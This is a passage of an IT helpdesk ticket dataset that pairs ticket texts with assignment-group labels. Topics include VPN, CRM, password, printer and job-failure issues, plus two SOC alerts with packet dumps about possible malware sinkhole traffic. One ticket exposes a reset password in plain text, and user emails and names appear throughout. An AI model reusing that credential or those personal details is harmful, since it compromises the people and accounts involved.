inwarehouse_tool?_x000D_ +_x000D_ +",GRP_13 +电脑无法连接公共盘，请帮我转给小贺 电脑无法连接公共盘，请帮我转给小贺,GRP_30 +usa pc companyst-apc-01 in the pvd area cannot connect to \\srvlavstorage01\groups but can connect to the internet usa pc companyst-apc-01 in the pvd area needs to be on the network in order to print to the printers in pvd.,GRP_3 +vpn not working- vpn.company.com link is giving error vpn not working- vpn.company.com link is giving error,GRP_0 +"i am not able to log into my vpn. when i am trying to open a new session it is going to the ""your session is finished"" p name:mehrugshy +language: +browser:microsoft internet explorer +email:dcvphjru.ybomrjst@gmail.com +customer number: +telephone: +summary:i am not able to log into my vpn. when i am trying to open a new session it is going to the ""your session is finished"" page",GRP_0 +vpn not working- vpn.company.com link is giving error vpn not working- vpn.company.com link is giving error,GRP_0 +vpn not working- vpn.company.com link is giving error vpn not working- vpn.company.com link is giving error,GRP_0 +"vpn connectivity _x000D_ +_x000D_ +received from: gmrxwqlf.vzacdmbj@gmail.com_x000D_ +_x000D_ +i can't reconnect to the vpn. i hit click here and screen does not change. i tried closing and relaunching and have some result. i tried restarting my computer and have same result._x000D_ +_x000D_ +[cid:image001.png@01SID_35295.4882bb80]_x000D_ +_x000D_ +best ",GRP_0 +"referencing ticket ticket_no1499477. customer is stating the barcodes are not scannable on the label. please revisit ticket ticket_no1499477 and review the fastenal label as the customer is claiming the barcode that we output from from the zebra(z1) printers do not scan. will need to replicate the barcode located on the labels that we currently output from the datamax (m1)._x000D_ +_x000D_ +see attached.",GRP_20 +vpn not working- vpn.company.com link is giving error vpn not working- vpn.company.com link is giving error,GRP_0 +vpn not working- vpn.company.com link is giving error vpn not working- vpn.company.com link is giving error,GRP_0 +"unable to access na vpn when i click on ""click here"" to enter a new session the screen just repeats itself instead of prompting for user id and password as it usually does. i am able to use euro vpn through a link provided to me by email.",GRP_0 +"vpn + +received from: oetlgbfw.bsctrnwp@gmail.com + +are we having vpn issues i can't get logged in to vpn + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com + + +",GRP_0 +vpn not working- vpn.company.com link is giving error vpn not working- vpn.company.com link is giving error,GRP_0 +" germany steel plant the programdnty EU_tool does not run. +499433255366 name:cfokqnhz notxygdz +language: +browser:microsoft internet explorer +email:cfokqnhz.notxygdz@gmail.com +customer number: +telephone:0 +summary:hello, + +in germany steel plant the programdnty EU_tool does not run. + +please check the programdnty! + +",GRP_25 +vpn not working vpn not working,GRP_0 +"vpn login issue. vpn login issue._x000D_ +-user unable tologin to vpn._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the company vpn using the vpn company vpn link._x000D_ +-issue resolved.",GRP_0 +"user unable tologin to vpn. name:lizhwdoe mjudivse +language: +browser:microsoft internet explorer +email:lizhwdoe.mjudivse@gmail.com +customer number: +telephone: +summary:can't login in to vpn",GRP_0 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +my distributor_tool account is not working ! my dashbankrd is gone/ i cannot select sales org/ cannot select customers my distributor_tool account is not working ! my dashbankrd is gone/ i cannot select sales org/ cannot select customers,GRP_0 +"access to tjlizqgc ngvwoukp' calendars name:xmeytziq dcgwuvfk +language: +browser:microsoft internet explorer +email:xmeytziq.dcgwuvfk@gmail.com +customer number: +telephone: +summary:i need to get access to tjlizqgc ngvwoukp calendar i have taken over the ehs duties here in usa as well as usa indiana.",GRP_0 +unable to see name in engineering_tool unable to see name in engineering_tool,GRP_0 +ticket update on inplant_861712 ticket update on inplant_861712,GRP_0 +"mii password reset name:itclukpe aimcfeko +language: +browser:microsoft internet explorer +email:itclukpe.aimcfeko@gmail.com +customer number: +telephone: +summary:need user name and password reset for mii for wpcatozg roceshun em#21111123 +his current id and password will let him log in the system but not in mii",GRP_0 +"crm add-in for outlook _x000D_ +_x000D_ +received from: pnhlrfao.ivjxlyfz@gmail.com_x000D_ +_x000D_ +global it team,_x000D_ +_x000D_ +i do not currently have connectivity between crm and microsoft outlook on my company computer. we are now required to begin to link emails and contact information between outlook and crm and without the crm add-in working on my device, i am currently unable to do this . please open a ticket to get this completed. ",GRP_0 +password reset for zqbgmfle.wrkmieao@gmail.com password reset for zqbgmfle.wrkmieao@gmail.com,GRP_0 +ticket update on inplant_861691 ticket update on inplant_861691,GRP_0 +"distributor_tool and engineering_tool do not show inventory for mm 5387556 distributor_tool and engineering_tool do not show inventory for mm 6498667, even though mmbe transaction shows unrestricted stock in plant_101 and dvw1._x000D_ +other mm numbers such as 6498662 or 4870484 do not have this issue._x000D_ +not sure if there are other mm numbers where we do have stock but distributor_tool and engineering_tool aren't seeing such stock._x000D_ +_x000D_ +please see attached email for background and attached screenshots from materials_managementbe transaction, engineering_tool and distributor_tool._x000D_ +",GRP_21 +unable to connect to ca07 printer unable to connect to ca07 printer,GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_1_x000D_ +_x000D_ +enter user id of user having the issue: bakertm_x000D_ +_x000D_ +transaction code(s) the user needs or was working with: _x000D_ +_x000D_ +describe the issue: userid no longer active for SID_1. reset passwords with password_management_tool - all changed but SID_1 as userid no longer active. please allow access as needed for erp mii uacyltoe hxgayczeing._x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +"re: ticket_no1551447 -- comments added _x000D_ +_x000D_ +received from: svlcqmnb.qlwerhxt@gmail.com_x000D_ +_x000D_ +",GRP_53 +"csqe - automatic knowledge base sync we want to setup erp to automatically sync and push updated knowledge bases to the ipc/configair server space._x000D_ +this is a standard practice, to not require network admin to do that manually, which also is to eliminate various compatibility issues from doing that manually with extracted files._x000D_ +for setup in each system in turn, SID_21, SID_1, and SID_34 for change/delta moves to configair servers from erp updates.",GRP_14 +cannot print anymore on tc78 printer is asking for trusted source and driver install but does still not work after update...,GRP_0 +locked out on the crm account locked out on the crm account,GRP_0 +"access to drawings in net weaver name:jashyht mkuhtyhui +language: +browser:microsoft internet explorer +email:jhxwiply.midhcnze@gmail.com +customer number: +telephone: +summary:i have erp netweaver business client but i am unable to pull up drawings. i have seen coworker screens and they look similar but the drawing tab is missing on mine",GRP_0 +"crm - outlook _x000D_ +_x000D_ +received from: uvorgwts.mlqzaicb@gmail.com_x000D_ +_x000D_ +hello i.t. team,_x000D_ +_x000D_ +i need to get my outlook and crm remfg_toolted. please reach out to me as soon as possible._x000D_ +_x000D_ +best ",GRP_0 +"crm/outlook + +received from: zolnubvq.ehrqifxp@gmail.com + +i no longer have the crm portion or add on in my outlook. i need to have this installed. + +login webdhyt +employee number 60676837 + +best ",GRP_0 +"crm add-in / outlook _x000D_ +_x000D_ +received from: mdbegvct.dbvichlg@gmail.com_x000D_ +_x000D_ +hi it – i'm not seeing the crm options in my outlook. please let me know how i can get that working as i have to be in dallas next monday for training. ",GRP_0 +crm addin in outook i need to have crm addin in outlook to perform my daily job functions moving forward,GRP_0 +ticket update on inplant_861658 ticket update on inplant_861658,GRP_0 +sent items folder not showing up in outlook. sent items folder not showing up in outlook.,GRP_0 +"job Job_3045_ap failed in job_scheduler at: 09/19/2016 11:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3045_ap failed in job_scheduler at: 09/19/2016 11:39:00",GRP_45 +unable to fill the expense report form for employee unable to fill the expense report form for employee,GRP_2 +"quotation printing incorrect voucher discount see attached example - 3116245007. discount applied was 57.5%, but quote copy is showing 115%. not sure where the pdf is picking up the additional 57.5%._x000D_ +_x000D_ +also see example 3116220390. this will show the print on 8/29 was correct, and what was printed today is not. did something move over the weekend that can be backed out??_x000D_ +",GRP_13 +ticket_no1543461 - ticket update ticket_no1543461 - ticket update,GRP_0 +"sfb issue +summary:unable to log into skype calls",GRP_0 +ticket_no1546770 - ticket update ticket_no1546770 - ticket update,GRP_0 +update on ticket_no1542996 update on ticket_no1542996 ,GRP_0 +"reset password for hana systems SID_60,SID_59 for user id : bollmam reset password for hana systems SID_60,SID_59 for user id : bollmam._x000D_ +kindly make it on priority basis.",GRP_53 +"please delete sm35 job same issue as inc1512788_x000D_ +_x000D_ +please delete rm_eb1160912",GRP_5 +sandplant_162 - fc9/15 · drlab HostName_1175 is down since 09:53 pm et on 09/19 sandplant_162 - fc9/15 · drlab HostName_1175 is down since 09:53 pm et on 09/19,GRP_8 +"terhyury jerhtyua, employee of usa, is locked out of mii - please unlock and verify if employee has more than SID_34 access terhyury jerhtyua, employee of usa, is locked out of mii - please unlock and verify if employee has more than SID_34 access_x000D_ +employee is unable to report production and capture value add data on mii ",GRP_0 +"schdule name:""final"" in job_scheduler :batch job documentation needs to be updated schdule name:""final"" in job_scheduler :batch job documentation needs to be updated",GRP_8 +"sfb issue can't access skype for business 2015_x000D_ +comes up with message ""c:/programdnty files/microsoft office 15/root/office 15/lync.exe",GRP_0 +"security incidents - ( #in33805815) : possible malware infection - traffic from sinkhole domain to apul7700790 =========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 94661793_x000D_ +event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset_x000D_ +occurrence count: 2_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 195.22.28.222_x000D_ +source port: 80_x000D_ +source ip geolocation: lisbon, prt_x000D_ +destination ip: 71.58.38.9639_x000D_ +destination hostname: apul8811801 _x000D_ +destination port: 51547_x000D_ +connection directionality: incoming_x000D_ +protocol: tcp_x000D_ +http status code: 302_x000D_ +_x000D_ +device information_x000D_ +device ip: 80.68.49.4169_x000D_ +device name: isensor05.company.com_x000D_ +log time: 2016-09-19 at 02:13:00 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 2422739_x000D_ +cvss score: -1 _x000D_ +vendor priority: 2_x000D_ +vendor version: 7_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 699417_x000D_ +inspector event id: 880503574_x000D_ +ontology id: 200020003203755736_x000D_ +event type id: 200020003203582148_x000D_ +agent id: 102835_x000D_ +_x000D_ +event detail:_x000D_ +[**] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [**]_x000D_ +[classification: none] [priority: 2] [action: accept] [impact_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 606873][event id: 2422739][time: 2585362291.144214]_x000D_ +[src ip: 195.22.28.222][dst ip: 71.58.38.9639][sport/itype: 80][dport/icode: 51547][proto: 6]_x000D_ +09/19/2016-02:13:00.144214 195.22.28.222:80 -> 71.58.38.9639:51547_x000D_ +tcp ttl:49 tos:0x0 id:15452 iplen:20 dgmlen:391 df_x000D_ +***ap*** seq: 0x7da4b41b ack: 0x836645ee win: 0x68b0 tcplen: 20_x000D_ +==pcap 1==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /domain/newflv.sohu.ccgslb.net]_x000D_ +_x000D_ +[ex http_hostname 10: sso.anbtr.com]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +ascii packet(s):_x000D_ +==pcap 1 ascii s==_x000D_ +.....i.wv3..........e...<\@.1........,.e.p.[}....fe.p.h.....http/1.1.302.moved.temporarily..server:.nginx..date:.mon,.19.sep.2016.02:13:00.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=3b22f0eec4487da1ac8019caac1283a4;.domain=.ccgslb.net..location:._x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 ac49 df57 5633 0200 8701 0000 .....i.wv3......_x000D_ +000010 8701 0000 4500 0187 3c5c 4000 3106 0bb0 ....e...<\@.1..._x000D_ +000020 c316 1cde 0a2c 1645 0050 c95b 7da4 b41b .....,.e.p.[}..._x000D_ +000030 8366 45ee 5018 68b0 bfb0 0000 4854 5450 .fe.p.h.....http_x000D_ +000040 2f31 2e31 2033 3032 204d 6f76 6564 2054 /1.1.302.moved.t_x000D_ +000050 656d 706f 7261 7269 6c79 0d0a 5365 7276 emporarily..serv_x000D_ +000060 6572 3a20 6e67 696e 780d 0a44 6174 653a er:.nginx..date:_x000D_ +000070 204d 6f6e 2c20 3139 2053 6570 2032 3031 .mon,.19.sep.201_x000D_ +000080 3620 3032 3a31 333a 3030 2047 4d54 0d0a 6.02:13:00.gmt.._x000D_ +000090 436f 6e74 656e 742d 5479 7065 3a20 7465 content-type:.te_x000D_ +0000a0 7874 2f68 746d 6c0d 0a43 6f6e 6e65 6374 xt/html..connect_x000D_ +0000b0 696f 6e3a 2063 6c6f 7365 0d0a 5365 742d ion:.close..set-_x000D_ +0000c0 436f 6f6b 6965 3a20 616e 6274 723d 3362 cookie:.anbtr=3b_x000D_ +0000d0 3232 6630 6565 6334 3438 3764 6131 6163 22f0eec4487da1ac_x000D_ +0000e0 3830 3139 6361 6163 3132 3833 6134 3b20 8019caac1283a4;._x000D_ +0000f0 646f 6SID_26 696e 3d2e 6363 6773 6c62 2e6e domain=.ccgslb.n_x000D_ +000100 6574 0d0a 4c6f 6361 7469 6f6e 3a20 6874 et..location:.ht_x000D_ +000110 7470 3a2f 2f78 7373 6f2e 6e65 7766 6c76 tp://xsso.newflv_x000D_ +000120 2e73 6f68 752e 6363 6773 6c62 2e6e 6574 .sohu.ccgslb.net_x000D_ +000130 2f33 6232 3266 3065 6563 3434 3837 6461 /3b22f0eec4487da_x000D_ +000140 3161 6338 3031 3963 6161 6331 3238 336sartlgeo lhqksbdxac8019caac1283a_x000D_ +000150 340d 0a0d 0a47 6f20 6874 7470 3a2f 2f78 4....go._x000D_ +000160 7373 6f2e 6e65 7766 6c76 2e73 6f68 752e sso.newflv.sohu._x000D_ +000170 6363 6773 6c62 2e6e 6574 2f33 6232 3266 ccgslb.net/3b22f_x000D_ +000180 3065 6563 3434 3837 6461 3161 6338 3031 0eec4487da1ac801_x000D_ +000190 3963 6161 6331 3238 3361 34 9caac1283a4_x000D_ +==pcap 1 hex e==",GRP_2 +"access point company_ita_company_milano_ap05 is down ip 83.43.63.0179_x000D_ +blue light blinking_x000D_ +does not permit connection_x000D_ +_x000D_ +could you please check ?",GRP_4 +"t&d inwarehouse_tool 0512678028 - pricing error hi,_x000D_ +_x000D_ +please refer below mail from branch & attached t&d inwarehouse_tool of plant_61. the inwarehouse_tool has picked the total basic value as rs.2,40,991.50 & the excise duty has got charged & paid accordingly, instead of correct total basic value of rs.1,40,000.00, (70,000 x 2) as per previous inwarehouse_tool#0512508978/07.04.16. kindly find & fix the problem for future inwarehouse_tool to capture the correct total basic value to avoid paying higher excise duty. _x000D_ +_x000D_ +_x000D_ +",GRP_13 +windows password reset windows password reset,GRP_0 +"security incidents - ( #in33809307 ) : possible malware infection - traffic from sinkhole domain to android-13849fa3 source ip :195.22.28.222 +system name :android-13849fa3e9c2e1e3 +user name:unknown +location :unknown +sep , sms status : +field sales user ( yes / no) : +dsw event log: + +================================================================================================== +========================= +incident overview +========================= +we are seeing your 10.16.4.16/isensor04.company.com device generating '52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset' alerts for traffic (not blocked) from port 80/tcp of 195.22.28.222 to port 55372/tcp of your android-13849fa3e9c2e1e3/12.90.42.78296 device indicating that the host is most likely infected with malware. + +this return traffic indicates that android-13849fa3e9c2e1e3/12.90.42.78296 has most likely attempted to visit a domain name which is being sinkholed. dns sinkholes are dns servers that give out false information in order to prevent the use of the domain for which ip address resolution has been requested. sinkhole traffic is a possible indicator of an infected computer that is reaching out to a controller that has been taken over by a law enforcement or research organization as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole, however, are a clear indication of a malware infection. + +we are escalating this incident to you via a high priority ticket per our default escalation policies. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at +1) ticket only escalation for sinkhole domain alerts (explicit notification via a medium priority ticket (no phone call)) +2) auto-resolve sinkhole domain alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal) + +sincerely, + soc + + +========================= +technical details +========================= +the domain name system (dns) is a hierarchical naming system for any resource connected to the internet or a private network which has the primary purpose of associating various information with domain names assigned to each of the participating entities. it is primarily used for translating domain names to the numerirtcal ip addresses for the purpose of locating service and devices on a network. + +the domain name system distributes the responsibility of assigning domain names and mapping those names to ip addresses by designating authoritative name servers for each domain. authoritative name servers are assigned to be responsible for their supported domains, and may delegate authority over subdomains to other name servers. the domain name system also specifies the technical functionality of this database service. it defines the dns protocol, a detailed specification of the data structures and data communication exchanges used in dns, as part of the internet protocol suite. + +dns sinkholes are dns servers that give out incorrect information in order to prevent the use of the domain name for which ip address resolution is being attempted. when a client requests to resolve the address of a sinkholed hole or domain, the sinkhole returns a non-routable address or any address except for the real address. this germanytially denies the client a connection to the target host. using this method, compromised clients can easily be found using sinkhole logs. another method of detecting compromised hosts is during operations in which servers being used for c2 (command and control) purposes are taken over by law enforcement as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole are a clear indication of infection by a trojan of some sort. + +connections to sinkholes may seem somewhat benign, but the ramdntyifications certainly include information leakage to some extent. although sinkhole operators are unlikely to use any personally identifiable information they may capture from a trojan's communication, it may become public knowledge that ""company x is infected with y"", which may lead to reputational damage. + +additionally, some sinkholes are feeding ip addresses of victims to beshryulists, which may impede access to certain services, like sending email. finally, some trojans may connect to multiple controller domains/hostnames, and even though some of them may be sinkholed, there may be others that are not, leading to the possibility of remote code execution or information leakage to malicious parties in some cases. + + +========================= +references +========================= + + + + + + + + +========================= +event data +========================= +related events: +event id: 84221656 +event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset +occurrence count: 1 +event count: 1 + +host and connection information +source ip: 195.22.28.222 +source port: 80 +source ip geolocation: lisbon, prt +destination ip: 12.90.42.78296 +destination hostname: android-13849fa3e9c2e1e3 +destination port: 55372 +destination mac address: 84:38:38:49:8e:8c +connection directionality: incoming +protocol: tcp +http status code: 302 + +device information +device ip: 10.16.4.16 +device name: isensor04.company.com +log time: 2016-09-19 at 13:16:54 utc +action: not blocked +vendor eventid: 792629 +cvss score: -1 +vendor priority: 2 +vendor version: 7 + +scwx event processing information +sherlock rule id (sle): 699417 +inspector event id: 637489392 +ontology id: 200020003203755736 +event type id: 200020003203582148 +agent id: 102823 + +event detail: +[**] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [**] +[classification: none] [priority: 2] [action: accept] [impact_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1] +[sensor id: 602983][event id: 792629][time: 2585302125.450357] +[src ip: 195.22.28.222][dst ip: 12.90.42.78296][sport/itype: 80][dport/icode: 55372][proto: 6] +09/19/2016-13:16:54.450357 195.22.28.222:80 -> 12.90.42.78296:55372 +tcp ttl:55 tos:0x0 id:18690 iplen:20 dgmlen:395 df +***ap*** seq: 0x207261f ack: 0x6acc8edd win: 0x35 tcplen: 32 +tcp options (3) => nop nop ts: 4851788645 6722888 +==pcap 1== + +[o:security] + +[correlation_data] +sep 19 09:16:17 60.43.89.120 dhcpd[31183]: dhcpack on 12.90.42.78296 to 84:38:38:49:8e:8c (android-13849fa3e9c2e1e3) via eth2 relay 97.65.25.820 lease-duration 604800 (renew) + +ascii packet(s): +==pcap 1 ascii s== +....f..w5...........e...i.@.7............p.l..&.j......5..........5..u..http/1.1.302.moved.temporarily..server:.nginx..date:.mon,.19.sep.2016.13:16:54.gmt..content-type:.text/html..connection:.close..set-cookie:.anbtr=b3dc36813a835f65e5f206184225e1f3;.domain=.allinvest.us..location:. +==pcap 1 ascii e== + +hex packet(s): +==pcap 1 hex s== +000000 0c00 0000 46e5 df57 35df 0600 8b01 0000 ....f..w5....... +000010 8b01 0000 4500 018b 4902 4000 3706 fea2 ....e...i.@.7... +000020 c316 1cde 0a10 10c4 0050 d84c 0207 261f .........p.l..&. +000030 6acc 8edd 8018 0035 ca7f 0000 0101 080a j......5........ +000040 def6 359e 0055 a101 4854 5450 2f31 2e31 ..5..u..http/1.1 +000050 2033 3032 204d 6f76 6564 2054 656d 706f .302.moved.tempo +000060 7261 7269 6c79 0d0a 5365 7276 6572 3a20 rarily..server:. +000070 6e67 696e 780d 0a44 6174 653a 204d 6f6e nginx..date:.mon +000080 2c20 3139 2053 6570 2032 3031 3620 3133 ,.19.sep.2016.13 +000090 3a31 363a 3534 2047 4d54 0d0a 436f 6e74 :16:54.gmt..cont +0000a0 656e 742d 5479 7065 3a20 7465 7874 2f68 ent-type:.text/h +0000b0 746d 6c0d 0a43 6f6e 6e65 6374 696f 6e3a tml..connection: +0000c0 2063 6c6f 7365 0d0a 5365 742d 436f 6f6b .close..set-cook +0000d0 6965 3a20 616e 6274 723d 6233 6463 3336 ie:.anbtr=b3dc36 +0000e0 3831 3361 3833 3566 3635 6535 6631 3935 813a835f65e5f195 +0000f0 3037 3331 3134 6531 6633 3b20 646f 6SID_26 073114e1f3;.doma +000100 696e 3d2e 616c 6c69 6e76 6573 742e 7573 in=.allinvest.us +000110 0d0a 4c6f 6361 7469 6f6e 3a20 6874 7470 ..location:.http +000120 3a2f 2f78 7373 6f2e 6865 6c70 2e61 6c6c ://xsso.help.all +000130 696e 7665 7374 2e75 732f 6233 6463 3336 invest.us/b3dc36 +000140 3831 3361 3833 3566 3635 6535 6631 3935 813a835f65e5f195 +000150 3037 3331 3134 6531 6633 0d0a 0d0a 476f 073114e1f3....go +000160 2068 7474 703a 2f2f 7873 736f 2e68 656c . +000170 702e 616c 6c69 6e76 6573 742e 7573 2f62 p.allinvest.us/b +000180 3364 6333 3638 3133 6138 3335 6636 3565 3dc36813a835f65e +000190 3566 3139 3530 3733 3131 3465 3166 33 5f206184225e1f3 +==pcap 1 hex e==",GRP_2 +"user switzerlandim blocked in netweaver _x000D_ +_x000D_ +received from: vogtfyne.isugmpcn@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +please unlock netweaver access for user switzerlandim – marftgytin switzerlandik._x000D_ +i reinstalled the application, now it reports too many failed logins_x000D_ +_x000D_ +best ",GRP_0 +please install ms visio std on the clients pc please install ms visio std on the clients pc,GRP_3 +"reset passwords for dwfiykeo argtxmvcumar using password_management_tool password reset. i have been locked out of SID_39, client 120 function specifically for the crm system. i made one attempt at entering my password and i received: ""password logon no longer possible - too many failed attempts"".",GRP_17 +software request - visio need visio installed on my laptop.,GRP_3 +unable to connect to skype unable to connect to skype ,GRP_0 +"connection issues with secomea site manager well i have fighting with this all week. our suppliers technical department has been helping also._x000D_ +_x000D_ +just to refresh your memory we are having trouble connecting secomea site managers to the secomea cloud._x000D_ +_x000D_ +history:_x000D_ +_x000D_ +i configured a total of five secomea site mangers and i uacyltoe hxgaycze them as each one is complete_x000D_ +the first two worked, and still work fine_x000D_ +the third one started dropping off of the cloud and wont connect at all now_x000D_ +units four and five wont connect at all and never did_x000D_ +_x000D_ +i tried unit three at building one and two…no luck_x000D_ +_x000D_ +i took unit three home and connected it to my router…it connects and i can see it on the gate manager!_x000D_ +_x000D_ +we use these in every machine we build so i'm asking for help from company's it department and some direction. _x000D_ +i realize it might not be familiar with this product so i have attached a simple troubleshooting guide from secomea._x000D_ +_x000D_ +",GRP_4 +kein zugriff auf zeiterfassung und sonstiges netzwerk kein zugriff auf zeiterfassung und sonstiges netzwerk /spdczoth vajtodny,GRP_24 +outlook does not start. outlook does not start.,GRP_0 +"vfx3 billing errors please see the attached screen print for vfx3 billing errors for 0612893276 and 0612893277, both of which state: foreign trade data incomplete. the billing document will not create.",GRP_13 +mobile device activation mobile device activation,GRP_0 +power supply issue for pwr8hmc1.hq.company.com.. power supply issue for pwr8hmc1.hq.company.com.. ,GRP_8 +issue with symantec endpoint protection i have 4 warning messages on my symantec endpoint protection icon on my taskbar. please see the attached document showing these messages.,GRP_50 +"trying to get the status of ticket number ticket_no0438372 name:erirtc +language: +browser:microsoft internet explorer +email:ntsowaem.jfgslyde@gmail.com +customer number: +telephone: +summary:trying to get the status of ticket number ticket_no1549483?",GRP_0 +windows account lockout windows account lockout,GRP_0 +unable to connect to mobile broadband unable to connect to mobile broadband ,GRP_0 +monitor not working. monitor not working.,GRP_3 +"need mouse replacement need mouse replacement _x000D_ +ltcw7406044",GRP_3 +maus funktioniert nicht mehr richtig. bitte ersetzen. maus funktioniert nicht mehr richtig. bitte ersetzen. /howfanzi siavgtby,GRP_24 +brauche eine neue funktionierende maus. brauche eine neue funktionierende maus. /tkhaymqg cwuqzyvm,GRP_24 +unable to load outlook due to crm unable to load outlook due to crm,GRP_0 +"smart phone issue my iphone 6 now has a reduced ear speaker(?). when speaking to an individual, i can not hear them with any volume. very faint. i must use the speaker phone, which makes the call non-secure. can the phone be repaired or can i replace it?",GRP_0 +keine anmeldung auf skype möglich keine anmeldung auf skype möglich /vzqomdgt jwoqbuml,GRP_24 +"employee owned mobility agreement _x000D_ +_x000D_ +received from: clzwduvj.keflinbj@gmail.com_x000D_ +_x000D_ +hello it support team,_x000D_ +_x000D_ +please release the device as per attached form as an employee owned mobile device. the corresponding form is attached._x000D_ +for the moment i am using the outlook app._x000D_ +_x000D_ +hello joftgost,_x000D_ +_x000D_ +please approve the form in return by mail._x000D_ +_x000D_ +",GRP_0 +no response from caller no response from caller,GRP_0 +i need to know the members in lhqftphfm* i need to know the members in lhqftphfm*. could you please provide it in an excel file format,GRP_2 +account locked out on bex account locked out on bex,GRP_0 +outlook is not working . i've updated the sp 2 but .. nothing outlook is not working . i've updated the sp 2 but .. nothing,GRP_0 +please setup printers dg04 and dg08 on HostName_837 with x64 print drivers please setup printers dg04 and dg08 on HostName_837 with x64 print drivers,GRP_12 +"printer's won't update their driver i cannot print at all the status of the printers i have mapped to are all ""need driver update"". however, when i try to update the driver it will not update it, but quits half way through the installation. ",GRP_0 +"printer problem (reroute) / issue information hi team, _x000D_ +_x000D_ +_x000D_ +could you please route the all files print pa07 hp m4555 (ip: 79.67.01.6592) to: plant_248 hp m600 (61.01.52.0266)._x000D_ +_x000D_ +note: pa07 have a problem hardware_x000D_ +if you have more doubts, please contact me._x000D_ +_x000D_ +",GRP_8 +account locked in ad account locked in ad,GRP_0 +"tonerpatrone em01 / germany alle _x000D_ +_x000D_ +received from: yzodcxkn.zyewibop@gmail.com_x000D_ +_x000D_ +bitte toner an em01 prüfen und ersetzen_x000D_ +_x000D_ +freundlicher gruß / best ",GRP_42 +bitte guest wifi fuer gastronomie fuer eine jahr einrichten bitte guest wifi fuer gastronomie fuer eine jahr einrichten,GRP_0 +ticket update - inplant_859150 ticket update - inplant_859150,GRP_0 +password_management_tool account unlock password_management_tool account unlock,GRP_0 +"job Job_577_dr4100 failed in job_scheduler at: 09/19/2016 06:19:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_577_dr4100 failed in job_scheduler at: 09/19/2016 06:19:00",GRP_8 +"job Job_575 failed in job_scheduler at: 09/19/2016 06:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_575 failed in job_scheduler at: 09/19/2016 06:16:00",GRP_5 +"unable to received incoming email hi it team + +kindly please assist, user kassiaryu unable to received incoming email. +pc name: aswl8912729. + +hydstheud mddwwyleh +operation supervisor +company distribution services of asia pte ltd +email : rxoynvgi.ntgdsehl@gmail.com +",GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_29 + +enter user id of user having the issue: mahapthysk, ngyht2 + +transaction code(s) the user needs or was working with: we05 + +describe the issue: no authorization to open employee idoc + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user:",GRP_2 +"job bkbackup_tool_sql_prod_inc failed in job_scheduler at: 09/19/2016 05:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_sql_prod_inc failed in job_scheduler at: 09/19/2016 05:38:00",GRP_8 +unable to loginto skype unable to loginto skype,GRP_0 +need assistance - cannot login to engineering tool web application after password change need assistance - cannot login to engineering tool web application after password change,GRP_28 +add user maghtyion cnjkeko (cekomthyr) to active directory group eagcutview add user maghtyion cnjkeko (cekomthyr) to active directory group eagcutview,GRP_0 +"job Job_3181 failed in job_scheduler at: 09/19/2016 05:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3181 failed in job_scheduler at: 09/19/2016 05:00:00",GRP_8 +"job Job_459 failed in job_scheduler at: 09/19/2016 04:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_459 failed in job_scheduler at: 09/19/2016 04:51:00",GRP_8 +"network problems (multiple applications are running slow) hi manjgtiry,_x000D_ +_x000D_ +",GRP_0 +"job Job_499 failed in job_scheduler at: 09/19/2016 04:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_499 failed in job_scheduler at: 09/19/2016 04:36:00",GRP_8 +"job Job_465 failed in job_scheduler at: 09/19/2016 04:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_465 failed in job_scheduler at: 09/19/2016 04:33:00",GRP_8 +"job bwhrattr failed in job_scheduler at: 09/19/2016 04:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrattr failed in job_scheduler at: 09/19/2016 04:25:00",GRP_9 +"pls help to create delivery note for sto 4908128350 _x000D_ 